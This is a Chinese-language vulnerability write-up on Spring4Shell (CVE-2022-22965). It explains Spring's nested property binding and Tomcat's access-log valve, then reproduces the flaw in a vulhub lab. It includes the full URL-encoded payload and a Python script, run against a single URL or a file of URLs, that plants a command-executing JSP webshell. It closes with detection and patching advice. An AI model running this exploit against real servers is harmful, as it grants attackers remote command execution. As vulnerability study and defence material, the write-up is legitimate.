Spring-Beans RCE反序列化漏洞原理与复现

CVE-2022-22965

1 漏洞介绍

1.1 Spring简介

Spring Boot是由Pivotal团队提供的基于Spring的全新框架,旨在简化Spring应用的初始搭建和开发过程。该框架使用了特定的方式来进行配置,从而使开发人员不再需要定义样板化的配置。

Spring官网给的定义是:Spring Boot是所有基于Spring开发项目的起点。Spring Boot集成了绝大部分目前流行的开发框架,就像 Maven 集成了所有的 JAR 包一样,Spring Boot集成了几乎所有的框架,使得开发者能快速搭建Spring项目。

1.2 漏洞原理

https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement

Spring参数自动绑定

获取相关参数后,多级调用getXXX方法,最终通过setXXX方法实现对象的取值和赋值。

如果Java程序某个位置(接口)处可以动态传参,以修改任意对象的属性值,那修改一个文件名和保存路径,写入一个一句话🐎,用蚁剑连接,控制整个项目,即可实现入侵。

这个文件就是Tomcat,利用的就是access_log属性值里面的内容。

1.3 相关解释

在Java程序运行过程中,有时会对类的对象进行动态调用取值和赋值,如果该类有多级属性,每级属性又有各自的get/set方法(比如行政级别划分,每级行政单位都有各自命名的方法;或生物命名,界门纲目科属种名……),要想访问指定子类的某个属性或成员变量,一般方法的依次生成各级类或属性并完成get/set方法就显得代码臃肿不便操作了。

#mermaid-svg-ha4ipIHkJJQO2tRM {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-ha4ipIHkJJQO2tRM .error-icon{fill:#552222;}#mermaid-svg-ha4ipIHkJJQO2tRM .error-text{fill:#552222;stroke:#552222;}#mermaid-svg-ha4ipIHkJJQO2tRM .edge-thickness-normal{stroke-width:2px;}#mermaid-svg-ha4ipIHkJJQO2tRM .edge-thickness-thick{stroke-width:3.5px;}#mermaid-svg-ha4ipIHkJJQO2tRM .edge-pattern-solid{stroke-dasharray:0;}#mermaid-svg-ha4ipIHkJJQO2tRM .edge-pattern-dashed{stroke-dasharray:3;}#mermaid-svg-ha4ipIHkJJQO2tRM .edge-pattern-dotted{stroke-dasharray:2;}#mermaid-svg-ha4ipIHkJJQO2tRM .marker{fill:#333333;stroke:#333333;}#mermaid-svg-ha4ipIHkJJQO2tRM .marker.cross{stroke:#333333;}#mermaid-svg-ha4ipIHkJJQO2tRM svg{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;}#mermaid-svg-ha4ipIHkJJQO2tRM g.classGroup text{fill:#9370DB;fill:#131300;stroke:none;font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:10px;}#mermaid-svg-ha4ipIHkJJQO2tRM g.classGroup text .title{font-weight:bolder;}#mermaid-svg-ha4ipIHkJJQO2tRM .nodeLabel,#mermaid-svg-ha4ipIHkJJQO2tRM .edgeLabel{color:#131300;}#mermaid-svg-ha4ipIHkJJQO2tRM .edgeLabel .label rect{fill:#ECECFF;}#mermaid-svg-ha4ipIHkJJQO2tRM .label text{fill:#131300;}#mermaid-svg-ha4ipIHkJJQO2tRM .edgeLabel .label span{background:#ECECFF;}#mermaid-svg-ha4ipIHkJJQO2tRM .classTitle{font-weight:bolder;}#mermaid-svg-ha4ipIHkJJQO2tRM .node rect,#mermaid-svg-ha4ipIHkJJQO2tRM .node circle,#mermaid-svg-ha4ipIHkJJQO2tRM .node ellipse,#mermaid-svg-ha4ipIHkJJQO2tRM .node polygon,#mermaid-svg-ha4ipIHkJJQO2tRM .node path{fill:#ECECFF;stroke:#9370DB;stroke-width:1px;}#mermaid-svg-ha4ipIHkJJQO2tRM .divider{stroke:#9370DB;stroke:1;}#mermaid-svg-ha4ipIHkJJQO2tRM g.clickable{cursor:pointer;}#mermaid-svg-ha4ipIHkJJQO2tRM g.classGroup rect{fill:#ECECFF;stroke:#9370DB;}#mermaid-svg-ha4ipIHkJJQO2tRM g.classGroup line{stroke:#9370DB;stroke-width:1;}#mermaid-svg-ha4ipIHkJJQO2tRM .classLabel .box{stroke:none;stroke-width:0;fill:#ECECFF;opacity:0.5;}#mermaid-svg-ha4ipIHkJJQO2tRM .classLabel .label{fill:#9370DB;font-size:10px;}#mermaid-svg-ha4ipIHkJJQO2tRM .relation{stroke:#333333;stroke-width:1;fill:none;}#mermaid-svg-ha4ipIHkJJQO2tRM .dashed-line{stroke-dasharray:3;}#mermaid-svg-ha4ipIHkJJQO2tRM #compositionStart,#mermaid-svg-ha4ipIHkJJQO2tRM .composition{fill:#333333!important;stroke:#333333!important;stroke-width:1;}#mermaid-svg-ha4ipIHkJJQO2tRM #compositionEnd,#mermaid-svg-ha4ipIHkJJQO2tRM .composition{fill:#333333!important;stroke:#333333!important;stroke-width:1;}#mermaid-svg-ha4ipIHkJJQO2tRM #dependencyStart,#mermaid-svg-ha4ipIHkJJQO2tRM .dependency{fill:#333333!important;stroke:#333333!important;stroke-width:1;}#mermaid-svg-ha4ipIHkJJQO2tRM #dependencyStart,#mermaid-svg-ha4ipIHkJJQO2tRM .dependency{fill:#333333!important;stroke:#333333!important;stroke-width:1;}#mermaid-svg-ha4ipIHkJJQO2tRM #extensionStart,#mermaid-svg-ha4ipIHkJJQO2tRM .extension{fill:#333333!important;stroke:#333333!important;stroke-width:1;}#mermaid-svg-ha4ipIHkJJQO2tRM #extensionEnd,#mermaid-svg-ha4ipIHkJJQO2tRM .extension{fill:#333333!important;stroke:#333333!important;stroke-width:1;}#mermaid-svg-ha4ipIHkJJQO2tRM #aggregationStart,#mermaid-svg-ha4ipIHkJJQO2tRM .aggregation{fill:#ECECFF!important;stroke:#333333!important;stroke-width:1;}#mermaid-svg-ha4ipIHkJJQO2tRM #aggregationEnd,#mermaid-svg-ha4ipIHkJJQO2tRM .aggregation{fill:#ECECFF!important;stroke:#333333!important;stroke-width:1;}#mermaid-svg-ha4ipIHkJJQO2tRM .edgeTerminals{font-size:11px;}#mermaid-svg-ha4ipIHkJJQO2tRM :root{--mermaid-font-family:"trebuchet ms",verdana,arial,sans-serif;}

Province
-name : String
-city : City
+String getName()
+setName(String name)
+City getCity()
+setCity(City city)
City
-name : String
-town : Town
+String getName()
+setName(String name)
+County getTown()
+setTown(Town town)
Town
-name : String
+String getName()
+setName(String name)

多级参数自动绑定

假设该Java程序运行在网络上,网站的一处地址为http://xxx.com/yyy?qqq=zzz&province.city.town.name=ttt,其中ttt是客户端(浏览器端)传入的参数,Java程序会自动赋值,所调用的链路为:Province.getCity().getTown().setName(“ttt”)。具体实现需要用到工具类:

PropertyDescriptor BeanWrapperlmpl

JDK自带的工具类,Java Bean PropertyDescriptor,给定一个属性(比如name),就可以自动调用该属性的get和set方法,进行取值和赋值。

/*
 * PropertyDescriptor.java
 */
public class PropertyDescriptorDemo {
    public static void main(String[] args){
        BeanInfo cityBeanInfo = Introspector.getBeanInfo(City.class);
        PropertyDescriptor[] descriptors = cityBeanInfo.getPropertyDescriptors();
        PropertyDescriptor cityNameDescriptor = null;
        for (PropertyDescriptor descriptor : descriptors) {
            //这里匹配到了name属性的Descriptor,每个属性都有一个对应的Descriptor,组成一个集合。
            if (descriptor.getName().equals("name")) {
                cityNameDescriptor = descriptor;
                //获取set方法
                cityNameDescriptor.getWriteMethod().invoke(city, "ttttt");
            }
        }
        System.out.println("After modification: ");
        System.out.println("city.name: " + cityNameDescriptor.getReadMethod().invoke(city));
    }
}

Spring自带,BeanWrapperlmpl,是对PropertyDescriptor的包装,用于对Spring容器中管理的对象,自动调用get和set方法,进行取值和赋值。

/*
 * BeanWrapper.java
 */
public class BeanWrapperDemo {
    public static void main(String[] args) throws Exception {
        BeanWrapper cityBeanWrapper = new BeanWrapperImpl(city);
        cityBeanWrapper.setAutoGrowNestedPaths(true);

        //直接指定要修改的属性名和属性值即可修改
        cityBeanWrapper.setPropertyValue("name", "ttttt");
        cityBeanWrapper.setPropertyValue("town.name", "tt");
        System.out.println("city.name: " + cityBeanWrapper.getPropertyValue("name"));
        System.out.println("city.town.name: " + cityBeanWrapper.getPropertyValue("town.name"));
    }
}

access_log属性

tomcat根目录conf路径下有一个配置文件server.xml,在最下面😑定义了一个类:

<!-- Access log processes all example.
     Documentation at: /docs/config/valve.html
     Note: The pattern used is equivalent to using pattern="common" -->
<Valve className="org.apache.catalina.valves.AccessLogValve" directory="logs"
       prefix="localhost_access_log" suffix=".txt"
       pattern="%h %l %u %t &quot;%r&quot; %s %b" />
类名 org.apache.catalina.valves.AccessLogValve
属性名 含义
directory access_log文件输出目录
prefix access_log文件名前缀
suffix access_log文件名后缀
pattern access_log文件内容格式
fileDateFormat access_log文件名日期后缀,默认为.yyyy-MM-dd

2 复现流程

Spring Framework < 5.3.18

Spring Framework < 5.2.20

JDK ≥ 9

2.1 环境搭建

vulhub靶场

#1 下载靶场
git clone https://github.com/vulhub/vulhub.git
cd vulhub/spring/CVE-2022-22965
#2 运行
docker-compose up -d
#3 查看IP和端口
docker-compose ps
docker ps
#4 关闭靶场
docker-compose down

(启动速度有点慢)访问http://ip:port/?name=Bob&age=25,会出现一行字,即启动成功。

2.2 测试

首先开启流量监控

构造请求地址

http://ip:port/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25

请求发出后,拦截到请求包,修改数据。添加以下内容:

suffix: %>//
c1: Runtime
c2: <%
DNT: 1
Content-Length: 2

然后访问http:ip:port//tomcatwar.jsp?pwd=j&cmd=whoami

如果返回root...则执行命令成功。

当然,没有复现成功,抓包用的是Burp自带的浏览器,数据有问题。

可以利用脚本,自动化完成如上操作,可排除Burp的bug:

#coding:utf-8
# 
import requests
import argparse
from urllib.parse import urljoin

def Exploit(url):
    headers = {"suffix":"%>//",
                "c1":"Runtime",
                "c2":"<%",
                "DNT":"1",
                "Content-Type":"application/x-www-form-urlencoded"
    }
    data = "?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
    try:
        print(url)
        # res = requests.post(url,headers=headers,data=data,timeout=15,allow_redirects=False, verify=False)
        res = requests.get(url=(url+data),headers=headers,timeout=15,allow_redirects=False, verify=False)
        # print(res.status_code)
        # print(res.text)
        shellurl = urljoin(url, 'tomcatwar.jsp')
        shellgo = requests.get(shellurl,timeout=15,allow_redirects=False, verify=False)
        if shellgo.status_code == 200:
            print(f"Vulnerable,shell ip:{shellurl}?pwd=j&cmd=whoami")
    except Exception as e:
        print(e)
        pass

def main():
    parser = argparse.ArgumentParser(description='Spring-Core Rce.')
    parser.add_argument('--file',help='url file',required=False)
    parser.add_argument('--url',help='target url',required=False)
    args = parser.parse_args()
    if args.url:
        Exploit(args.url)
    if args.file:
        with open (args.file) as f:
            for i in f.readlines():
                i = i.strip()
                Exploit(i)

if __name__ == '__main__':
    main()

(此脚本收录自乌鸦安全https://github.com/crow821/)

执行

python poc.python --url=http://ip:port

浏览器访问http://ip:port/tomcatwar.jsp?pwd=j&cmd=whoami,出现root...即成功。

2.3 过程分析

用到的反序列化方法

此处仅记录下其调用链为:

class.module.classLoader.resources.context.parent.pipeline.first.pattern User.getClass()   java.lang.Class.getModule() 
      java.lang.Module.getClassLoader() 
         org.apache.catalina.loader.ParallelWebappClassLoader.getResources() 
            org.apache.catalina.webresources.StandardRoot.getContext() 
               org.apache.catalina.core.StandardContext.getParent() 
                  org.apache.catalina.core.StandardHost.getPipeline() 
                      org.apache.catalina.core.StandardPipeline.getFirst() 
                            org.apache.catalina.valves.AccessLogValve.setPattern

调用过程中缓存了一个class文件。测试过程发送的HTTP请求包的作用就是,在webapps/ROOT下写入一个名为tomcatwar.jsp的文件(木马)。

3 漏洞防御

3.1 排查方法

  1. 是否启用Spring参数绑定功能
  2. JDK9以上版本
  3. Tomcat是否独立的,是否开启了Access功能
  4. 自查可以检查流量是否有class.module.classLoader.resources.context.parent.pipeline.first.pattern......的字眼

3.2 漏洞修复

  1. 官网升级Spring
  2. 升级tomcat
  3. 更新WAF
  4. 开发时,如果遇到ClassLoader和ProtectionDomain,直接跳过
本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
THE END
分享
二维码
< <上一篇
)">
下一篇>>